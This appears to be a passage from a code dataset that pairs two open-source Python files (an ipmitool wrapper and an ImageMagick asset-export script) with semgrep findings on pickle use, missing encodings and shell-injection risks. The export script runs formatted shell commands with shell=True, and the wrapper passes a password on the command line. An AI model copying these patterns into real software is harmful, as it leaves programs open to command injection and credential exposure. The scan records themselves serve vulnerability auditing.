"Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 10, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/73faa73d79d6ad0e.py", "start": {"line": 84, "col": 10, "offset": 3043}, "end": {"line": 84, "col": 87, "offset": 3120}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_73faa73d79d6ad0e_21e9348b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 9, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/73faa73d79d6ad0e.py", "start": {"line": 130, "col": 9, "offset": 4874}, "end": {"line": 130, "col": 29, "offset": 4894}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_73faa73d79d6ad0e_f5f08fd4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 16, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/73faa73d79d6ad0e.py", "start": {"line": 135, "col": 16, "offset": 4976}, "end": {"line": 135, "col": 31, "offset": 4991}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 130, 135 ]
[ 130, 135 ]
[ 9, 16 ]
[ 29, 31 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
general_utils.py
/micromort/utils/general_utils.py
mannuscript/micromort
MIT
2024-11-18T21:51:22.916291+00:00
1,601,503,743,000
97377ac0f94bd23a44b509d75da5c464c3bbe511
3
{ "blob_id": "97377ac0f94bd23a44b509d75da5c464c3bbe511", "branch_name": "refs/heads/master", "committer_date": 1601713424000, "content_id": "92c3b284d339dab5c40a7aa43165f91f946dc6c7", "detected_licenses": [ "Apache-2.0" ], "directory_id": "b09e3b75efb86718801eccc9d5c4164245aabdaa", "extension": "py", "filename": "ipmi.py", "fork_events_count": 7, "gha_created_at": 1402309787000, "gha_event_created_at": 1601713425000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 20642684, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4562, "license": "Apache-2.0", "license_type": "permissive", "path": "/ipmi/ipmi.py", "provenance": "stack-edu-0054.json.gz:588510", "repo_name": "raags/ipmitool", "revision_date": 1601503743000, "revision_id": "2e36ead394154f43eada8bec061f961f3cd3dcb4", "snapshot_id": "619b072ae78d2e2dd67394d92593c80473ee5a61", "src_encoding": "UTF-8", "star_events_count": 8, "url": "https://raw.githubusercontent.com/raags/ipmitool/2e36ead394154f43eada8bec061f961f3cd3dcb4/ipmi/ipmi.py", "visit_date": "2021-01-17T13:12:34.323459" }
2.84375
stackv2
""" Abstracts interaction with the ipmitool utilty by providing a pythonic interface """ import sys, pexpect, subprocess class ipmitool(object): """Provides an interface to run the ipmitool commmands via subprocess or expect depending on the platform. ipmitool on sunos does not support passing the console password on command line e.g : >>> ipmi = ipmitool(console, password) >>> ipmi.execute("chassis status") >>> ipmi.execute("chassis status") 0 >>> print ipmi.output System Power : on Power Overload : false Power Interlock : inactive Main Power Fault : false Power Control Fault : false ... """ def __init__(self, console, password, username='root'): """ :param console: The console dns or ip address :param password: Console password :param username: Console username """ self.console = console self.username = username self.password = password self.output = None self.error = None self.status = None self._ipmitool_path = self._get_ipmitool_path() if not self._ipmitool_path: raise IOError("Failed to locate ipmitool command!") self.args = ['-I', 'lanplus', '-H', self.console, '-U', self.username] if sys.platform.startswith('linux'): self.args.extend(['-P', self.password]) self.method = self._subprocess_method elif sys.platform == 'sunos5': self.method = self._expect_method else: self.method = self._expect_method def execute(self, command): """Primary method to execute ipmitool commands :param command: ipmi command to execute, str or list e.g. > ipmi = ipmitool('consolename.prod', 'secretpass') > ipmi.execute('chassis status') > """ if isinstance(command, str): self.method(command.split()) elif isinstance(command, list): self.method(command) else: raise TypeError("command should be either a string or list type") if self.error: raise IPMIError(self.error) else: return self.status def _subprocess_method(self, command): """Use the subprocess module to execute ipmitool commands and and set status """ p = subprocess.Popen([self._ipmitool_path] + self.args + command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.output, self.error = p.communicate() self.status = p.returncode def _expect_method(self, command): """Use the expect module to execute ipmitool commands and set status """ child = pexpect.spawn(self._ipmitool_path, self.args + command) i = child.expect([pexpect.TIMEOUT, 'Password: '], timeout=10) if i == 0: child.terminate() self.error = 'ipmitool command timed out' self.status = 1 else: child.sendline(self.password) i = child.expect([pexpect.TIMEOUT, pexpect.EOF], timeout=10) if i == 0: child.terminate() self.error = 'ipmitool command timed out' self.status = 1 else: if child.exitstatus: self.error = child.before else: self.output = child.before self.status = child.exitstatus child.close() def _get_ipmitool_path(self, cmd='ipmitool'): """Get full path to the ipmitool command using the unix `which` command """ p = subprocess.Popen(["which", cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() return out.strip().decode() # common ipmi command shortcuts def chassis_on(self): self.execute("chassis power on") def chassis_off(self): self.execute("chassis power off") def chassis_reboot(self): self.execute("chassis power reset") def chassis_status(self): self.execute("chassis power status") def boot_to_pxe(self): self.execute("chassis bootdev pxe") def boot_to_disk(self): self.execute("chassis bootdev disk") class IPMIError(Exception): """IPMI exception""" pass
148
29.82
121
15
992
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-if-body_dfec2ef82e8d2736_943e18ae", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-if-body", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Useless if statement; both blocks have the same body", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 54, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/controlflow.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-if-body", "path": "/tmp/tmp10dxl77l/dfec2ef82e8d2736.py", "start": {"line": 50, "col": 9, "offset": 1549}, "end": {"line": 54, "col": 46, "offset": 1694}, "extra": {"message": "Useless if statement; both blocks have the same body", "metadata": {"references": ["https://docs.python.org/3/tutorial/controlflow.html"], "category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_dfec2ef82e8d2736_2bf8f60a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 13, "column_end": 122, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/dfec2ef82e8d2736.py", "start": {"line": 81, "col": 13, "offset": 2514}, "end": {"line": 81, "col": 122, "offset": 2623}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 81 ]
[ 81 ]
[ 13 ]
[ 122 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
ipmi.py
/ipmi/ipmi.py
raags/ipmitool
Apache-2.0
2024-11-18T21:51:23.394295+00:00
1,594,258,216,000
fd7bd2054fe7c890e15a2f33bc1b7d930506b860
3
{ "blob_id": "fd7bd2054fe7c890e15a2f33bc1b7d930506b860", "branch_name": "refs/heads/master", "committer_date": 1594258216000, "content_id": "3beeb4dcfdd8cb33267f50445ef928fe25dadba2", "detected_licenses": [ "MIT" ], "directory_id": "c4e550b2a4f67db570ab1aa9a417a97e56fa1476", "extension": "py", "filename": "export.py", "fork_events_count": 0, "gha_created_at": 1589041159000, "gha_event_created_at": 1594258217000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 262610409, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4168, "license": "MIT", "license_type": "permissive", "path": "/scripts/export.py", "provenance": "stack-edu-0054.json.gz:588517", "repo_name": "roadrunner-craft/assets", "revision_date": 1594258216000, "revision_id": "777a5f995d7469c9497bcb5f3046450c9086e197", "snapshot_id": "4eac43e77bdb9ab133128cd09eca0a1a4004f76d", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/roadrunner-craft/assets/777a5f995d7469c9497bcb5f3046450c9086e197/scripts/export.py", "visit_date": "2022-11-13T01:14:27.619821" }
2.625
stackv2
#!/usr/bin/env python3 from pathlib import Path import subprocess import time import sys import os import logging import shutil def usage(): print("{} output_dir".format(__file__)) exit() def get_imagemagick() -> str: if sys.platform == "win32": return "magick.exe" return "convert" def has_image_magick(): return subprocess.run("{} --version".format(get_imagemagick()), stdout=subprocess.DEVNULL, shell=True).returncode == 0 if len(sys.argv) != 2: usage() if not has_image_magick(): print("imagemagick must be installed before using this script") exit() # Logger setup logging.basicConfig(level=logging.ERROR, format='%(message)s') logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) # paths setup dst = Path(sys.argv[1]) src = Path(os.path.dirname(os.path.realpath(__file__))).parent res = Path("res") icon = Path("icon") counter = 0 total_items = 0 def bench(label, f): global counter global total_items total_items += counter counter = 0 before = time.time() f() after = time.time() if counter: logger.info("{}: ".format(label)) logger.info("\t{} items".format(counter)) logger.info("\t{:.2}s".format(after - before)) def main(): bench("textures", lambda: render_psd(res / Path("textures"))) bench("icon", lambda: render_thumbnail(icon / Path("icon.psd"))) bench("fonts", lambda: copy_directory(res / Path("fonts"))) bench("data", lambda: copy_directory(res / Path("data"))) def render_thumbnail(path): global counter mkdir(dst / path.parent) sizes = [512, 256, 128, 64, 32, 16] source_file = (src / path) for size in sizes: target_file = dst / source_file.relative_to(src).with_name("{}@{}.png".format(path.with_suffix("").name, size)) if not has_changed(target_file, source_file): continue logger.debug("{} at {size}x{size}:\n\tfrom: {}\n\tto: {}\n".format(source_file.name, source_file, target_file, size=size)) counter += 1 subprocess.run("{} \"{}[0]\" -resize {size}x{size} -density 300 -quality 100 \"{}\"".format(get_imagemagick(), source_file, target_file, size=size), shell=True) def copy_directory(path): global counter mkdir(dst / path) files, directories = [], [] for x in (src / path).iterdir(): if x.is_dir(): directories.append(x) else: target_file = dst / x.relative_to(src) if has_changed(target_file, x): files.append(x) for directory in directories: copy_directory(directory.relative_to(src)) for f in files: source_file = str(f) target_file = str(dst / f.relative_to(src)) logger.debug("{}:\n\tfrom: {}\n\tto: {}\n".format(f.name, source_file, target_file)) counter += 1 shutil.copy(source_file, target_file) def render_psd(path): global counter mkdir(dst / path) files, directories = [], [] for x in (src / path).iterdir(): if x.is_dir(): directories.append(x) elif x.suffix == '.psd': target_file = dst / x.relative_to(src).with_suffix(".png") if has_changed(target_file, x): files.append(x) for directory in directories: render_psd(directory.relative_to(src)) for f in files: source_file = str(f) target_file = str(dst / f.relative_to(src).with_suffix('.png')) logger.debug("{}:\n\tfrom: {}\n\tto: {}\n".format(f.name, source_file, target_file)) counter += 1 subprocess.run("{} \"{}[0]\" {}".format(get_imagemagick(), source_file, target_file), shell=True) #psd = PSDImage.open(source_file) #psd.composite().save(target_file) def has_changed(target, source): if not target.exists(): return True return target.stat().st_mtime < source.stat().st_mtime def mkdir(path): path.mkdir(parents=True, exist_ok=True) if __name__ == "__main__": before = time.time() main() after = time.time() logger.info("processed {} items in {:.2}s\n".format(total_items, after - before))
159
25.21
168
17
1,035
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_61184ed5132b4d9b_1d47a05d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 12, "column_end": 107, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 21, "col": 12, "offset": 346}, "end": {"line": 21, "col": 107, "offset": 441}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_61184ed5132b4d9b_d620e539", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 102, "column_end": 106, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 21, "col": 102, "offset": 436}, "end": {"line": 21, "col": 106, "offset": 440}, "extra": {"message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_61184ed5132b4d9b_96e7422d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 9, "column_end": 169, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 84, "col": 9, "offset": 2053}, "end": {"line": 84, "col": 169, "offset": 2213}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_61184ed5132b4d9b_5186b658", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 24, "column_end": 156, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 84, "col": 24, "offset": 2068}, "end": {"line": 84, "col": 156, "offset": 2200}, "extra": {"message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_61184ed5132b4d9b_66de9c9b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 164, "column_end": 168, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 84, "col": 164, "offset": 2208}, "end": {"line": 84, "col": 168, "offset": 2212}, "extra": {"message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": 